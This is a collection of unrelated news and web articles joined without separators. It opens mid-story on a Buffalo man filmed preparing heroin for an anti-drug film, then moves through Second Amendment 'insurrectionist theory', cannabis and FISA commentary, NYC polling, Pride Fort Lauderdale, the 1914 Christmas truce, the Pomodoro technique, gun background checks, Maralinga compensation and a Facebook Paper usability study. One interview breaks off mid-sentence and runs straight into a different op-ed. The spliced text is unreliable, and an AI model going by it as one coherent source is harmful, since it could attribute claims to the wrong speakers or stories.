As for Baker, the police officer who was photographed with the film crew and Sagliani at the restaurant, “if she was there, she was there on her own. That is just totally in violation of everything we do,” he said of drug use.
A snort, but no injecting
Nothing in Robbins’ original pitch to city leaders involved real heroin use.
Robbins' script for "Blink of an Eye” centers around a high school girl who becomes addicted after being prescribed opioid painkillers. In the 16-minute film, the camera follows the fictional teen character through a typical day – at home with her family, walking the halls at school, and ending with the girl shooting heroin, first in a public restroom, and then, fatally and gruesomely, under a highway bridge.
A local high school student who portrayed the character did not use real drugs in the movie.
But Robert Sagliani said he did.
After the film shows the teen’s mother collapsing at the news of her daughter’s death, the action cuts to Sagliani. Like the girl in the movie, he's shown preparing a fix in a cramped public restroom. Except his drugs are real.
Energetic and engaging, Sagliani does a quick snort of grains from a small plastic package. Then he deftly demonstrates for the camera how to mix the heroin for an injection.
While doing this, he describes people who overdose.
Of those lucky enough to be revived, he says, “They wake up, they don’t remember, so when they wake up, they wanna keep getting high.”
His prep work done, Sagliani instinctively brings the needle to his arm, before his mother, standing near him, softly says “no,” as she moves to pull his hand away.
Robbins, off camera, can be heard saying, “Dude, dude, don’t do it man!”
Robert Sagliani puts the needle down.
Then, the scene jumps to a smiling Robert Sagliani a few weeks later, a successful graduate from the White Deer Run rehabilitation program in Pennsylvania.
As he stands outside the City Court building, Robert Sagliani thanks the Buffalo Police Department, the filmmakers and White Deer Run for helping him.
“Today, I’m going to court to finish up my charges,” he says in the film.
Still in court
In real life, Sagliani is still waiting for his charges to be dismissed.
He said he stuck with the drug treatment program and except for one slip, he has stayed clean since he left rehab.
But he is still in court.
Nichols confirmed police officers put Sagliani in contact with the movie director. But Nichols is adamant that the Saglianis would not have been offered a deal on their criminal cases. What the police provided, he said, was help getting clean.
“With our ‘Angel’ program we can get them into treatment,” Nichols said. “Which we did. (Sagliani) did go into treatment. He is working.”
Sacha disputes the police version. He said officers making any deal with a defendant without a lawyer present is out of bounds.
While Sagliani remains grateful for the help getting clean, he also feels cheated. He believes the charges against him and his mother should be dropped for their help on the film.
While the DA opposes an outright dismissal of the charges, the prosecution echoes some of Sacha’s concerns.
Assistant District Attorney Michael J. Hillery, who is handling the case, submitted an affidavit calling the Saglianis’ story “a provocative series of unsworn claims.”
“If they are true, a troubling picture emerges,” Hillery wrote.
The Saglianis’ last City Court appearance was in May. At that time, Sacha asked Judge Joseph A. Fiorella for an immediate dismissal of the charges, saying the cases had gone on “for much too long in light of what happened.”
Fiorella has called the cases against the mother and son “bizarre.”
He declined to dismiss their charges without a hearing.
But he told Sacha at a recent hearing that “if what you’re saying is correct, I agree with you.”
He set June 26 as a date for an evidentiary hearing on what happened and advised both sides to come prepared.
Flynn said that the prosecution doesn’t plan on calling any witnesses at the hearing, but he also said that, in the interim, his office will monitor the investigation by Police Department into the officers’ behavior during and after the Saglianis' arrests.
For his part, Robert Sagliani has no complaints about his part in the film. He has only good words to say about the filmmaker. He says he has been drug free for going on two months.
He just wants to be done with his days in court.Some of Trump’s ‘Second Amendment People’ Already Believe They Have the Right to Fight Government Tyranny with Guns Duke constitutional law professor Darrell Miller explains "insurrectionist theory."
At a campaign event in North Carolina on Tuesday, Donald Trump set off another media storm by suggesting that Second Amendment activists could take action if Hillary Clinton is elected and begin appointing liberal, anti-gun judges.
“Hillary wants to abolish, essentially abolish, the Second Amendment,” he said. “By the way, and if she gets to pick — if she gets to pick her judges, nothing you can do, folks. Although the Second Amendment people, maybe there is, I don’t know.”
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The insinuation seemed to be that gun activists could take up arms against a Clinton administration, or possibly the judiciary. That the Republican presidential nominee would suggest such armed revolt — or outright assassination — even in jest, caused an immediate outcry from Democrats and some Republicans.
What Trump ultimately intended with his comment, as with so many of his remarks, is unclear. But there is a contingent of gun rights activists that believes they do have the right to act if their liberty is infringed. They say the Second Amendment gives citizens the right to rebel against a tyrannical government, and that this right is rooted in the very foundation of the republic.
The Trace spoke with Darrell Miller, a professor of constitutional law and Second Amendment scholar at Duke Law School, to learn more about the origin of this argument, known as “insurrectionist theory,” and its role in the modern gun rights movement.
What did you think of Donald Trump’s comment about the Second Amendment?
I don’t think he’s actually asking for the assassination of Hillary Clinton. He probably thought he was joking. At the same time, he doesn’t seem to understand that when you have the power of the people and the power of the government, you can’t be cavalier.
Does the Second Amendment support the right to rebel against the government?
One theory of the Second Amendment does, and it’s called the insurrectionist theory. We see it discussed briefly in District of Columbia v. Heller, the Supreme Court case that established an individual right to bear arms under the Second Amendment. Heller says that when the people are trained in arms, they’re better able to resist tyranny.* Normally, the insurrectionist theory is discussed in terms of something way in the future. One judge called it a “doomsday provision,” not something you assert to impugn the legitimacy of your political rival. It is borne of grave necessity and pressing oppression.
The framers of the Constitution thought that preserving the right to bear arms might help the populace form a militia that could fight a standing army that turned against the people. The problem with the insurrectionist theory is there is always someone who thinks that tyranny is in the present.
What role does the insurrectionist theory play in the gun rights movement?
Some gun rights advocates would say that it’s always been a part of the Second Amendment and the Constitution. But the insurrectionist theory really gained |
go into treatment, at the needless expense of the taxpayer.
This scenario is patently absurd, and yet it makes no less sense than forcing treatment on those found with a small amount of cannabis on them. But this isn’t just an injustice to this particular young man, it is also a hindrance to the proper collection of statistics on problem users of alcohol, as he is then added to an ever growing list of people who have ostensibly sought treatment for an alcohol problem, despite the fact that possession of a small crate of beer is not a good proxy for problem use.
So should we be concerned about cannabis users in the European Union? Absolutely. But, the most relevant concern, in some countries at least, has little to do with cannabis itself, but rather the ineffectual, unjust and costly laws that surround it.
Following a pattern that is quickly becoming a tired cliché in drug policy, we once again find prohibition exacerbating the very problems it claims to help solve. More than this, though, by perpetuating a myth about cannabis harms which seems alien to so many users of cannabis, the EMCDDA fails to advance the debate about how best to minimize the risks of cannabis use, instead appearing disconnected from the real facts at hand.
Cannabis isn’t as concerning as forced treatment for non-problem users, and the authors of the European Drug Report would have done well to make that clear.
(N:B. Lest we need reminding… Deaths resulting from cannabis use worldwide in 2013: 0. Deaths resulting from alcohol use worldwide in 2013: ~2.5 million. "Lethal dose" to "effective dose’"ratio – [alcohol] 10:1, [cannabis] 1000:1. Interestingly, in the subsequent part of the report, entitled "Acute emergencies associated with cannabis and synthetic cannabinoid products," it is noted that cannabis related emergencies are “often associated with alcohol intoxication”... who would have guessed?!)Did you feel it at the base of your stomach when you woke up Sunday morning? That fear? No wonder: the Protect America Act finally expired Saturday night.
The nation is currently undefended. Well, that’s not true. The National Security Agency can no longer surveil terrorists. Well, that’s not true either. The NSA can continue surveillance of terrorist groups authorized under the Protect America Act for one year, and new warrants sought need to be authorized by the Foreign Intelligence Surveillance Court under the FISA law. The new warrants will mean more paperwork.
The president hit the airwaves for the fourth consecutive morning on Saturday to drive the fear home.
But Mike McConnell, the director of national intelligence, a man well acquainted with the taste of his own foot, put it unfortunately succinctly during an interview with NPR:
“It’s true that some of the authorities would carry over to the period they were established for one year. That would put us into the August, September time frame. However, that’s not the real issue. The issue is liability protection for the private sector. We can’t do this mission without their help.”
Perhaps realizing the unfortunate quotability of that phrasing, McConnell took to Fox News yesterday to reassert the direness of the situation. McConnell, once upon a time broadly respected by lawmakers of both parties, seems determined to destroy the vestiges of his credibility. Keep in mind that even The Washington Times ran a story that concluded the sunset of the Protect America Act “will have little effect on national security.”
McConnell’s main theme was once again guaranteeing immunity for the telecoms (“the private sector, although [they] willingly helped us in the past, are now saying, ‘You can’t protect me. Why should I help you?'”). But he also strove to make the case that returning to the FISA law would be a calamity — it would mean “increased danger.” Besides reintroducing the old canard that the FISA law had not been updated since 1978 and so was hopelessly unable to deal with modern technologies, McConnell argued that the necessary paperwork would cripple surveillance. “If I’m in court arguing for an authorization, then I’m missing a dynamic situation,” he argued. To listen to McConnell, you’d think the same people monitoring the surveillance were the ones stuck in court (actually, they have lawyers for that). And never mind that the old FISA law permits a period of surveillance prior to securing the warrant.
Of course, McConnell said way back in August that having a debate about surveillance was a bad idea, because “some Americans are going to die.” So you can understand his frustration that it’s still drawing on.French military troops march in the annual Bastille Day military parade down the Champs-Elysees in Paris on July 14. (Courtesy Navy Petty Officer 2nd Class Dominique Pineiro/Wikimedia Commons)
The Pentagon might have vetoed President Donald Trump’s idea of parading U.S. military vehicles across the streets of Washington during his inauguration festivities. But now he’s the commander in chief and talking about holding such a show of military might on July 4.
Trump floated the idea to reporters during a meeting with French President Emmanuel Macron, whom he joined in Paris in July for that country’s Bastille Day festivities. Trump was the VIP guest on the French president’s viewing stand for a parade of French military troops and equipment.
So impressed was Trump with the Bastille Day spectacle that he revealed Monday he has asked his chief of staff, retired Marine Corps Gen. John F. Kelly, to look into planning a Bastille Day-like parade of U.S. military might on July 4.
“It was one of the greatest parades I have ever seen. It was two hours on the button and was military might,” Trump said, according to a pool report. “It was a tremendous thing for France and for the people of France. People don’t know what great warriors they are in France.”
[Which of These Bills Is Not Like the Others? The Defense Budget]
“It was a tremendous thing, and to a large extent because of what I have seen, we may do that on July 4 down Pennsylvania Avenue in Washington,” the U.S. president said.
“We’re going to have to try and top it,” he said of the French parade. “It was really a beautiful thing to see. It was really so well done. We’re actually thinking about Fourth of July having a really great parade to show our military strength.”
He later told reporters the event might occur as soon as the next Independence Day, adding it might take another year to plan.
Defense Department officials reportedly denied a request from Trump’s transition team to include heavy military vehicles in his inaugural parade from the Capitol to the White House. A major concern was the weight of the vehicles causing structural damage to Washington’s streets.
During a January interview with The Washington Post, President-elect Trump spoke of a desire to use such a parade “to display our military.”
“That military may come marching down Pennsylvania Avenue,” he said then. “That military may be flying over New York City and Washington, D.C., for parades. I mean, we’re going to be showing our military.”
Despite the Pentagon’s rejection of the idea before Trump was sworn in, there is one big difference now: As commander in chief, he is now the country’s top military official.
Get breaking news alerts and more from Roll Call on your iPhone or your Android.The Scottish Sunday Herald included a listing for Donald Trump's inauguration ceremony in its TV section, calling it the return of "The Twilight Zone."
"Sci-fi writers have dabbled often with alternative history stories - among the most common is the ‘What If The Nazis Had Won The Second World War’ setting - but this huge interactive virtual reality project, which will unfold on TV, in the press, and on Twitter over the next four years, sets out to build an ongoing alternative present," the listing said.
"The story begins in a nightmarish version of 2017 in which huge sections of the U.S. electorate have somehow been duped into voting to make Donald Trump president. It sounds far-fetched, and it is, but as it goes on it becomes more and more chillingly plausible,” the listing continues.
"Today's feature-length opener concentrates on the gaudy inauguration of President Trump, and the stirrings of protest and despair surrounding the ceremony... It’s a flawed piece, but a disturbing glimpse of the horrors we could stumble into, if we’re not careful," the listing warns.Seth Wenig / AP Democratic mayoral hopeful Bill de Blasio, who leads in the latest Quinnipiac poll, leaves a candidate forum on Tuesday.
The turbulent race to lead the country’s biggest city hit another unexpected bump Tuesday.
The contest has a new leader; the early front-runner appears to be in serious jeopardy; and the man who has gobbled up most of the attention -- sext-scandal-plagued former congressman Anthony Weiner -- is fading fast.
On the eve of the first of three debates to run New York City, Public Advocate Bill de Blasio has vaulted ahead in the Democratic primary, pulling in 30 percent in the latest Quinnipiac poll. City Council Speaker Christine Quinn -- who led the polls for much of the race -- is running second with 24 percent. Nipping at Quinn’s heels is former Comptroller Bill Thompson at 22 percent.
Weiner, who flirted briefly with the lead in the race, gets just 10 percent and is in fourth place. Weiner has seen his standing collapse in the past month after it was revealed that he continued to have sexually explicit online conversations with women who weren’t his wife even after resigned from Congress in 2011.
In an online interview, Anthony Weiner answered questions about his wife Huma Abedin, telling Buzzfeed he does know what her role in a potential Hillary Clinton 2016 campaign would be, but is not telling. NBC's Stephanie Gosk reports.
In the poll, 51 percent now say they definitely won't vote for Weiner under any circumstances, and 58 percent say he has either has little or no moral character.
If no candidate reaches 40 percent in the Sept. 10th primary, the top-two finishers move on to an Oct. 1 runoff.
De Blasio’s move in the race has been swift, as he appears to have benefited the most from Weiner’s collapse. Just a month ago, de Blasio was at 10 percent, and then, in conjunction with Weiner's fall, surged to 21 percent two weeks ago.
Quinn looks to be in serious trouble. In a hypothetical runoff matchup, she trails both de Blasio and Thompson by double digits. De Blasio leads Quinn in a runoff by a whopping 54-38 percent margin. Thompson leads her 51-41 percent.
There has been a considerable Anybody But Quinn campaign with TV ads running citywide, painting her as a typical politician tied to the “1 percent” and incumbent Mayor Michael Bloomberg.
Quinn’s stagnation means she has the most at stake in the trio of debates, beginning tonight. No one more needs to change the trajectory of the race than she does.
Unless something changes, the race looks like it is coming down de Blasio and Thompson, either in a runoff against each other or one of them against -- and likely over -- Quinn in one.
There is also a stark racial divide in the poll. Thompson, who is African American, leads among black voters 39-22 over de Blasio. But, among whites, de Blasio has a sizable lead. De Blasio takes in 39 percent of whites, while Thompson gets just 12 percent.
This story was originally published on2016 Pride Fort Lauderdale. Photos by J.R. Davis.
“Lots of colors, rainbows, and sparkly stuff.” That’s what DJ Kidd Madonny of 3DX, hired by event organizers, said visitors to this year’s Pride Fort Lauderdale should expect.
Madonny is one of several deejays and entertainers lined up for the event – Feb. 26 from noon to 8 p.m. on Fort Lauderdale beach, 1100 Seabreeze Blvd.
Other performers include singer Brian Justin Crum, singer Erika Jayne, DJ Joe Gauthreaux, country singer Ty Herndon, DJ Wendy Hunt, and DJ AJ Reddy.
Miik Martorell, president of Pride Fort Lauderdale, estimates between 10,000 and 15,000 will attend the free one-day event which has been held over two days in the past. Like the second day, organizers have also dropped having an official theme. “It’s our 40th anniversary, so we’re foregoing the theme. That’s a big enough theme right there,” Martorell said.
Along with the entertainment, the event will also feature a food court, multiple bars, VIP area, waterslide, sports area, alcohol-free area, family area, seniors’ area, and an alcohol-free area.
The alcohol-free area was established to give non-drinkers a place to enjoy without the pressure of alcohol. The sports area will feature local sports leagues with information for people looking to get more active.
In a previous story about LGBT participation in local athletics, Bryan Wilson, director of community relations for SunServe, said it was one of the goals of SunServe to provide members of the LGBT community with recreational and athletic opportunities. Those opportunities would provide a way to exercise and a participate in a social alternative to the bar scene for those who are recovering alcoholics and others.
Parking will be provided at The Galleria Mall and Hagen Park in Wilton Manors. Parking rates still apply but a free shuttle will be provided from those lots to the event. “You don’t actually have to park at the beach,” Martorell said.
And on each shuttle, added Martorell, will be a female impersonator entertaining riders. “It will make it a lot more fun, make it a little campy. Hopefully it’s really popular. I have a feeling it will be, especially since it’s free.”
For those who want to kick off Pride early, there’s the Official Pride Fort Lauderdale Kick Off Party at B Ocean Resort in Fort Lauderdale – Feb. 24 from 6:30 to 10 p.m. There will be Tito’s Handmade Vodka, a DJ, silent auction, samples of food from local restaurants, and the chance to meet celebrity Chef Art Smith, who has cooked for Lady Gaga and President Barack Obama.
Visit pridefortlauderdale.org to buy tickets for the kick-off party.Stateside's conversation with Katie Fahey, president of the group Voters Not Politicians.
"Power to the people."
That slogan so widely used in the 1960s is the driving force behind a push to change the way Michigan draws its legislative and Congressional districts.
The group Voters Not Politicians has firmed up language for a voter petition to put a proposed constitutional amendment on the ballot for November 2018.
The amendment would overhaul Michigan's redistricting process.
Katie Fahey is the President of Voters Not Politicians and the group's slogan is "voters should choose their politicians, not the other way around." Fahey joined Stateside to talk about what the group is trying to accomplish.
"We're trying to take the power of redistricting, drawing voting maps, and taking it away from the legislators that have something to benefit from drawing maps in their favor and bringing it back to the people," Fahey said. "Letting it be a fair and transparent process that helps us have our votes counted instead of being manipulated."
Listen to the full interview to hear about what they've heard from voters at their town hall meetings, the tall task they have to collect signatures, and about similar efforts that are taking place in other states.
(Subscribe to the Stateside podcast on iTunes, Google Play, or with this RSS link)System Working Paper 17-24
“Don’t Know What You Got Till It’s Gone” – The Effects of the Community Reinvestment Act (CRA) on Mortgage Lending in the Philadelphia Market
Lei Ding | Federal Reserve Bank of Philadelphia
Leonard Nakamura | Federal Reserve Bank of Philadelphia
Published November 2, 2017
The Community Reinvestment Act (CRA), enacted in 1977, has served as an important tool to foster access to financial services for lower-income communities across the country. This study provides new evidence on the effectiveness of CRA on mortgage lending by focusing on a large number of neighborhoods that became eligible and ineligible for CRA credit in the Philadelphia market because of an exogenous policy shock in 2014. The CRA effects are more evident when a lower-income neighborhood loses its CRA coverage, which leads to a 10 percent or more decrease in purchase originations by CRA-regulated lenders. Lending institutions not subject to CRA can substitute approximately half, but not all, of the decreased lending by CRA lenders. The increased market share of nondepository institutions in previously CRA eligible neighborhoods, however, was accompanied by a greater involvement in riskier Federal Housing Administration lending. This study demonstrates how different lenders respond to the incentive of CRA credit and how the use of metropolitan division median family incomes can generate unintended consequences on CRA lending activities.
Read the PDF ›EDMONTON — The union representing Liquor Control Board of Ontario is taking aim at Alberta in its battle to not allow the sale of beer at Ontario grocery stores.
The Ontario Public Service Employees Union has released an advertisement claiming “In Alberta, it’s three and a half times more likely that the person you pass coming out of the parking lot is driving drunk” because the province allows grocery chains to sell booze.
“Do you want to make that kind of trade off in Ontario? A little bit of convenience for a whole lot of pain and suffering,” the ad continues.
The advertisement does not cite any source for its claims.
READ MORE: LCBO union wants province to hold off on putting beer in grocery stores
The Ontario government announced in its 2015 budget it would allow the sale of beer in 150 grocery stores by May 1, 2017, with the number increasing to 450 by 2027.
The union has been fighting to have the plan shelved until there are open and transparent discussions about alcohol policy.
The ad claims expanding the number of outlets that sell alcohol will encourage Ontario residents to drink more.
“The Liberal government’s plan to sell alcohol in hundreds of grocery stores will make booze easier to get than a Double Double and that’s just not right.”
Listen to the OPSEU ad below
In 1993, Alberta became the first province to privatize liquor sales. It remains the only province that allows the fully privatized sale of alcohol.
READ MORE: Where Canadians spend the most on booze
According to Statistics Canada, Canadians spent $8.7 billion on beer in 2013/2014, making it the most popular alcoholic drink in the country.The Christmas song Silent Night has long been a cherished part of our shared culture — in 2011 it was even granted UNESCO cultural heritage status.
But the power of the carol was never so clear as on Christmas Eve 1914, when fighting on the battlefields of World War I stopped - and a lone soldier's exquisite voice made history.
"It was impromptu, no one planned it," Stanley Weintraub, the author of Silent Night: The Story of the World War I Christmas Truce, told Daybreak South's Chris Walker.
"It has to begin with something, and it did begin with elements of shared culture. If it hadn't been for shared culture, certainly there would have been no Christmas truce."
Weintraub said it started with German officer, Walter Kirchhoff, a tenor with the Berlin Opera.
"He came forward and sang Silent Night in German, and then in English. In the clear, cold night of Christmas Eve, his voice carried very far.
"The shooting had stopped and in that silence he sang and the British knew the song and sang back."
Gradually the troops crawled forward into No Man's Land, said Weintraub.
The song had a deep impact on many of the soldiers.
"Soldiers … wrote home the day after to their families, to their wives, and to their parents, saying, 'You won't believe this. It was like a waking dream.'"
"They recognized that on both ends of the rifle, they were the same."
To hear more about the history of Silent Night and the Christmas truce, click the audio labelled: One of the stories of Silent Night.Californians who don’t identify themselves as male or female will soon be able to get a gender-neutral birth certificate.
Until now, people who wanted to obtain a nonbinary gender designation had to get a physician’s affidavit stating that they had undergone treatment for the purpose of gender transition. That’s what A. T. Furuya, a 35-year-old advocate for transgender youth at the San Diego LGBT Community Center, had to do to become one of the first people in the country to obtain a legally designated gender that is neither male nor female.
The court papers resolving that ordeal in February prompted tears. “I was shocked,” A. T. said. “I was like, ‘Oh my god, this just happened.’”
The physician letters have become a thing of the past in California. Gov. Jerry Brown signed a bill into law Monday that simplifies the process, and provides nonbinary and intersex people with the ability to request a new birth certificate with a third, nonbinary category. It is the first state to offer such an option.It can be surprising how most of our days go to waste.
You login to your computer early in the morning, hoping to get some serious work done, only to realize 5 hours later that you haven’t really done anything; you’ve only been checking Facebook, Twitter, and your email every other minute and you can’t seem to break out of that loop.
I’ve struggled with this for awhile too, and I could barely get anything done until I started implementing a scientifically-proven approach to productivity. I now find it easy to write 5,000 words on the average day, and that’s just part of what I get done for the day.
Is there any secret to this sudden increase in productivity?
The Pomodoro Technique: Why it is the Simplest Productivity Tip You’re Ignoring
The Pomodoro Technique was created by Francesco Cirillo in the late 1980s and it is a time management method based on breaking down your work into 25-minute intervals separated by short breaks.
The idea behind the Pomodoro Technique is simple: for every 25 minutes of work you do you are going to take a five minutes break.
Depending on what you’re doing, you don’t have to stick to a 25-minute interval. It could be a 40-minute interval, a 60-minute interval or anything else that works for you; the idea is to help you avoid working for long periods, but to work at intervals.
The Pomodoro Technique is becoming increasingly popular because it is effective at boosting productivity. In fact, the success of the Pomodoro Technique has been scientifically proven.
A 2008 study by John Caldwell, Ph.D., that analyzed fatigue in pilots, revealed that long duty hours reduce alertness in the cockpit. As a result, taking short breaks between long sessions can significantly improve awareness and focus.
There are several other studies that have shown the benefits of harnessing Ultradian Rhythms; which is the idea that we have various cycles of peak productivity every day as well as periods where we experience low productivity. Research suggests that we need to renew our energy at 90 minute intervals by taking short breaks, of around 20 minutes, before continuing with our tasks.
By harnessing Ultradian Rhythms to our advantage, we will be able to get a lot more done by taking advantage of our natural productivity cycles.
How You Can Use this to Your Advantage
You can benefit from the Pomodoro Technique by taking advantage of your Ultradian Rhythms and avoiding working long stretches; instead, breakdown your work period into intervals accompanied by short breaks.
For me, it is 25 minutes of work accompanied by a 5 minute break. I don’t always stick to this, but I find myself more productive by avoiding working for more than 50 minutes at a stretch and I take 5 – 20 minutes break after each work session. As a result, I find myself more energized, and renewed, to be able to focus on the task at hand.
For you, this could be 40 minutes of work accompanied by a 10 minutes break, or 60 minutes of work accompanied by a 15 minutes break. You can even go for 90 minutes work sessions and a 20 minutes break, but make sure you don’t work more than 90 minutes at any given time. Instead, take regularly breaks to keep you refreshed and energized.
Apps that Can Help You Take Advantage of the Pomodoro Technique
The following apps will help you automate the Pomodoro Technique and get maximum benefit out of each work session:
1. Team Viz: You can install this app on your computer and use its timing feature to keep yourself on track. It uses a 25-minute interval and a 5-minute break by default, but you can configure it to use any interval you want. It’s inbuilt To-Do list can also come in very handy.
2. Pomodairo: This is a free app, based on the Pomodoro Technique, that you can install on your computer. You need to have Adobe Air installed on your computer before you can use it.
3. Focus Booster: You can install this app on your desktop or use the web app to work in Pomodoro sessions.
Conclusion
Are you doing anything to take charge of your productivity? You will be surprised at how effective the Pomodoro Technique can be once you start using it!
Image CreditGun violence prevention efforts got off to a great start in 2014 when the Obama administration announced two new executive actions on January 3 that will help keep firearms out of the hands of people at an elevated risk of being a danger to themselves and/or others.
The first executive action helps to clarify that the federal firearm prohibition based on the statutory term "committed to a mental institution," which has always been interpreted to include involuntary inpatient commitments, will now also include involuntary outpatient commitments. The outpatient commitment loophole first came to the nation's attention in 2007, when Virginia Tech gunman Seung Hui-Cho walked through it to legally buy the handguns used in that massacre despite having been committed by a court to an outpatient facility.
The second action clarifies that nothing in the Health Insurance Portability and Accountability Act (HIPAA) would prevent states from notifying the FBI's National Instant Criminal Background Check System (NICS) when a person becomes prohibited from purchasing a firearm based on a court-ordered commitment or other federally disqualifying adjudication. Privacy concerns have been cited repeatedly by the states as a reason they do not forward these adjudications, despite the fact that they contain no actual mental health information. This action will help ensure that the database is more complete moving forward.
Much of the debate since the Newtown tragedy has focused on expanding background checks to cover private transactions of firearms, such as those that occur at gun shows or over the Internet. This is a worthy and necessary goal. Universal background checks are the lynchpin of any successful system designed to prohibit dangerous individuals from accessing firearms.
However, the administration touched on an equally important goal with its recent actions: strengthening background checks. In the wake of a series of gruesome mass shootings perpetrated by individuals who legally purchased their murder weapons it is becoming abundantly obvious that merely expanding background checks is not enough. We must strengthen the system itself so that individuals with a history of dangerous behavior can no longer clear its low bar.
One such individual was Aaron Alexis, who legally purchased a shotgun in Virginia and on September 16, 2013 fatally shot 12 people while injuring 3 others at the Navy Yard in Washington, D.C. Alexis had a documented history of mental illness and recklessness with firearms, which included arrests in the states of Texas and Washington. And he's not alone. How many other mass shooters have we now seen legally purchase firearm despite numerous red flags in their background? Seung Hui-Cho, Stephen Kazmierczak, Jared Loughner, James Holmes, Wade Michael Page... the list goes on and on.
Then there is the daily toll of gun violence we rarely hear about -- more than 80 Americans shot dead on a daily basis in gun homicides, suicides and accidents. How many of these lives could be saved if we thoroughly and adequately screened gun buyers for evidence of dangerousness?
If federal and state laws continue to define individuals like George Zimmerman and Aaron Alexis as "good guys with guns," we know exactly what type of result we are going to get. More bloodshed. More families and communities destroyed by gun violence.
Thankfully, it doesn't have to be this way. Decades of research have identified various behaviors that indicate an elevated risk of violence. Federal law already prohibits some of these individuals from owning and purchasing firearms: convicted felons, fugitives from justice, those under a permanent restraining order, individuals who have been involuntarily committed to psychiatric care etc. But there are other issues that give rise to an elevated risk of violence that we continue to ignore. Consider the evidence:
• Past violent behavior is a strong predictor of future violence regardless of a diagnosis of mental illness. Individuals convicted of crimes of violence -- including misdemeanors -- are at increased risk of committing future violent crimes.
• Some individuals with serious mental illness, especially those with substance or alcohol abuse disorders and those who have been involuntarily committed for treatment, pose a heightened risk to others when they are experiencing acute exacerbations of their illness.
• Alcohol abuse and illegal use of controlled substances increase the risk of violence toward self and others.
• Most victims of intimate partner homicide are killed with a gun and evidence has shown that there is as much as a five-fold increased risk of intimate partner homicide when an abuser has a firearm. Yet not all domestic violence restraining orders are prohibitory.
Lawmakers at the federal and state level should be taking advantage of this data to improve the existing background check system. My organization, the Educational Fund to Stop Gun Violence, recently worked with the Consortium for Risk-Based Firearm Policy--a group of mental health and public health experts--to develop a series of recommendations for federal and state legislators based on this evidence.
As the Consortium points out, legislative initiatives should not scapegoat Americans dealing with mental health issues, the overwhelming majority of whom will never become violent in their lifetimes. By focusing on people with elevated risk across the spectrum instead of a diagnosis of mental illness, we can strike a balance between a commitment to public safety and respect for the privacy of persons dealing with serious mental illness.
Specifically what should we do to prevent those at elevated risk of violence from purchasing and possessing firearms? Here are the recommendations from the Consortium:
• The federal government should clarify that any court-ordered involuntary commitment, including outpatient commitment, should be prohibitory. Thanks to the Obama administration, this item can now be checked off.
• State laws should be strengthened to temporarily prohibit individuals from purchasing or possessing firearms after a short-term involuntary hospitalization.
• The process for restoring firearm rights should be modified to better protect the public while being fair to individuals who seek to regain their rights.
• Congress and state legislatures should enact new restrictions on purchase and possession of firearms by individuals found guilty by a court of having engaged in specific criminal offenses shown to be significant risk factors for future violence and by individuals subject to any domestic violence restraining order.
• The current civil restraining order process should be expanded to allow law enforcement and family members to petition a court to authorize seizure of firearms and issue a temporary prohibition on the purchase and possession of firearms based on a specific, substantiated threat of physical harm to self or others.The little south German city I come from consists mostly of suburb-style box homes. Every family has that two-story, three bedroom house to live in and a patch of green in the back of it, safely secured by bushes and trees from the peek-a-boos of the neighbors.
Berlin is different. Due to the rising population in the 1870s, a new way of living had to be found. That’s how the tenements, the block of flats, came into existence. The “Vorderhaus” – front house – was reserved for the bourgeoisie, while in the back houses the servants and workmen and the poor people found their homes.
That’s why Berlin is so uniquely endowed with shared backyards. They’re the little microcosms. Sometimes there are three or more backyards basically added to each other, building a row. I went around with iGNANT-Caro last week to check out some backyards we either heard about or just stumbled into. Of course this crosses some boundaries of privacy, so we opted to just go where the doors were open, where our friends lived or where we knew there are public institutions.
The first backyard of our series is astonishing in how it’s probably the oldest un-renovated building in Berlin. But alongside that, the residents seem to have fun decorating the backyard itself as well as the staircases leading up to the apartments. One resident we met told us how it gets really cold in the winter and how sometimes grout and plaster crumble from the ancient rooftop.
The second backyard is a bit more tended to. Obviously not just pretty, but hoarding its little secrets. A little crafts space, wild flowers, definitely where children once played or still run around. A beautiful staircase and an industrial outside elevator add to the backyards flair. Here is not just where people reside, here is also where people work, make a living, own shops or ateliers. Just like that we entered into a parallel universe. Not exactly knowing what all of it was about, it was still capturing enough to have us roaming around there for a good half hour before we decided to move onto the next one.Image caption A British nuclear test at Maralinga, in the South Australian outback
Indigenous Australians who were exposed to radiation from British nuclear tests will receive upgraded healthcare, the Australian government has announced.
From 1952 to 1963, Britain detonated bombs at Maralinga and Emu Field in South Australia, and the Montebello Islands off Western Australia.
Although the sites were remote, many Aboriginal people were forced to move.
Those who remained were exposed to high levels of radiation, which was later linked to significant health problems.
They will now be eligible for a war veterans' Gold Card, which covers most medical costs, Veterans' Affairs Minister Dan Tehan said.
"The measure will provide Gold Cards to indigenous people present at or near Maralinga, Emu Field or the Montebello Islands at the time of the British nuclear tests in the 1950s or 1960s," he said.
Image caption Soldiers turn their their backs on a nuclear test at Maralinga
It follows a royal commission - Australia's highest form of inquiry - in the 1980s, and decades of campaigning by survivors and advocates.
The nuclear tests were conducted with support from the Australian government.
The new healthcare subsidy will form part of a A$133m ( £76m, $98m) investment in Australia's federal budget, which will be unveiled on Tuesday.What happens when Facebook takes on the mobile experience head first? Paper. With over 3,000 reviews and a 4+ rating on the app store, it’s clear that Paper is quickly becoming an app to be reckoned with. To explore the success of the app, we ran a study with 105 of our mobile testers.
Here is what we learned:
People love guided tutorials they can control. People appreciate the lack of navigational elements. People really want to curate their news feed. People are delighted with subtle animation. People want to browse their content distraction free. People still want to share what they love with their friends.
PDF: View the results of this study.
View our highlight reel of users exploring the app, or watch it in the YouTube video below:
Lesson 1: People love guided tutorials they can toggle.
We asked study participants to download the new Paper app and give it a go. Right off the bat people praised the intuitive tutorial that started up on first launch. While the guided tour is a much-needed part of the app, most of our mobile testers wanted to check their progress on the tutorial, or find a way to toggle it on/off as they needed it. A caution to designers out there – a lot of folks don’t care for auto-play experiences.
ponysyd:
“I found the tutorial extremely helpful (I would have been very lost without it) and I think that’s a great feature. It’s nice how it just pops up when you’re doing something new for the first time on the app, so it’s kind of always there as a guide.”
Lesson 2: People appreciate the lack of navigational elements.
There is a story-first approach to the design of Paper. No buttons, no drop-down menus, no flashing, no blinking. Just the user and their feed. By relying solely on natural mobile gestures, the app has managed to get rid of distractions and let users focus on the content. It didn’t take most of our users a long time to get the hang of the new navigation. Overall, they definitely liked it.
chemohill:
“This is a lot easier to read than the regular app and easier than the mobile site. it’s easier to navigate through stories and i like the ability to go into different types of stories (headlines, LOL, etc).”
Lesson 3: People really want to curate their news feed.
